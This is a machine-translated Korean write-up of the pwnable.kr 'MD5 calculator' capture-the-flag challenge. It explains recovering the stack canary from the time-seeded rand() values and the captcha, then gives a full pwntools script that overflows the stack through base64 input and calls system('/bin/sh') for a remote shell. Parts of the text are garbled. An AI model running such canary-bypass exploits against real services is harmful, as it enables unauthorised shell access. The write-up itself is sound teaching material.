stack canary 의 pwnbale. kr MD5 calculator

5334 단어 역방향 분석
We made a simple MD5 calculator as a network service. Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/hash hint : this service shares the same machine with pwnable.kr web service
Running at : nc pwnable.kr 9002
 
프로그램의 실행:
stack canary之pwnbale.kr MD5 calculator_第1张图片
주 함수 어 셈 블 리
stack canary之pwnbale.kr MD5 calculator_第2张图片
위의 그림 의 땅 10 줄 은 현재 시간 스탬프 를 가 져 오고 v3 에 값 을 부여 하 는 것 과 같 습 니 다.11 줄 에서 v3 를 매개 변수 (랜 덤 피 드) 로 srand 함수 에 전송 하면 그 다음 에 rand 함 수 를 호출 하 는 작업 은 이 설정 한 랜 덤 피 드 에 따라 랜 덤 수 를 생 성 합 니 다.주의해 야 할 것 은 srand 함수 에 같은 seed 가 들 어 오 면 나중에 rand 함 수 를 여러 번 호출 할 때 발생 하 는 난수 서열 이 같 습 니 다.
my_hash () 함수 어 셈 블 리
stack canary之pwnbale.kr MD5 calculator_第3张图片
위의 그림 과 같이 모두 8 번 rand 함 수 를 호출 하 였 습 니 다.그리고 그들 을 창고 에서 v2 를 시작 주소 로 하 는 곳 에 저장 했다.이렇게 되면 같은 시간 스탬프 를 사용 하여 랜 덤 피 드 로 srand 함수 에 들 어 갑 니 다.그러면 v10 의 값 을 역 출시 할 수 있다.main 함수 와 호출 된 하위 함 수 는 실행 을 통 해readgsdword 가 만 든 canary 는 같 습 니 다.캐 너 리 는 자주 바 뀌 지만
stack canary之pwnbale.kr MD5 calculator_第4张图片
다음은 프로 세 스 를 중점적으로 분석 할 수 있 습 니 다.hash 함수
4. 567915. 프로그램 에 모두 두 개의 입력 을 요구 하 는 곳 이 있 습 니 다.첫 번 째 부분 은 captcha 를 입력 하고 두 번 째 부분 은 base 64 인 코딩 을 거 친 문자열 을 입력 합 니 다.위의 그림 15 줄 에서 알 수 있 듯 이 프로그램 은 디 코딩 을 한 후에 스 택 에 저 장 된 512 바이트 가 분 배 된 곳 입 니 다.전역 변수 gbuf 는 모두 1024 바이트 가 있 습 니 다. 즉, 결과 base 64 인 코딩 후의 문자열 의 최대 길 이 는 1024 입 니 다.그러면 문자열 의 길 이 를 len 이 라 고 가정 하고 base 64 인 코딩 을 기록 한 후에 생 성 된 문자열 의 길 이 는 len / 3 * 4 입 니 다.그래서 결과 base 64 인 코딩 을 하기 전에 이론 적 으로 우리 가 창고 에 입력 할 수 있 는 크기 는 1024 / 4 * 3 = 768 바이트 이다.스 택 에 저 장 된 것 은 디 코딩 후의 것, 즉 인 코딩 전의 문자열 에 해당 하기 때 문 입 니 다.그래서 스 택 유출 을 할 수 있 습 니 다.그러나 canary 보호 가 존재 하기 때문에 우 리 는 canary 의 구체 적 인 값 을 찾 은 다음 에 payload 의 대응 위치 에서 같은 canary 에 들 어 가 려 면 stack canary 체 제 를 속 일 수 있 습 니 다.
stack canary之pwnbale.kr MD5 calculator_第5张图片
stack canary之pwnbale.kr MD5 calculator_第6张图片
그래서 구조의 payload 는:
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) #   540   

그 중 0x0804B0E 0 은 전역 변수 gbuf 주소.payload 가 540 바이트 이기 때 문 입 니 다.540 / 3 * 4 = 720. 그래서 문자열 '/ bin / sh \ \ 0' 은 0x0804B0E 0 과 저장 해 야 합 니 다.다음은 시스템 의 매개 변수 로 시스템 에 전 송 됩 니 다.
from zio3 import p32
from pwn import *
# elf = ELF('./hash')
# plt_system = elf.plt['system']
plt_system = 0x08048880
p = remote('pwnable.kr',9002)
# p = process('./hash')
t = int(time.time())
print(p.recvline())
temp_recv = p.recvline()
print(temp_recv)
capcha = re.search(': [^
]+', temp_recv.decode('ascii')).group(0)[2:] print('capcha = ',capcha) p.sendline(capcha) print('output:',p.recvline()) print(p.recvline()) canary = '0x' + os.popen('./canary {} {}'.format(str(t), capcha)).read() # canary C print('canary:',canary) canary = int(canary, 16) # payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 540 print(len(b64e(payload))) print(b64e(payload)+'/bin/sh\0') p.sendline(b64e(payload) + '/bin/sh\0') p.interactive()

stack canary之pwnbale.kr MD5 calculator_第7张图片

좋은 웹페이지 즐겨찾기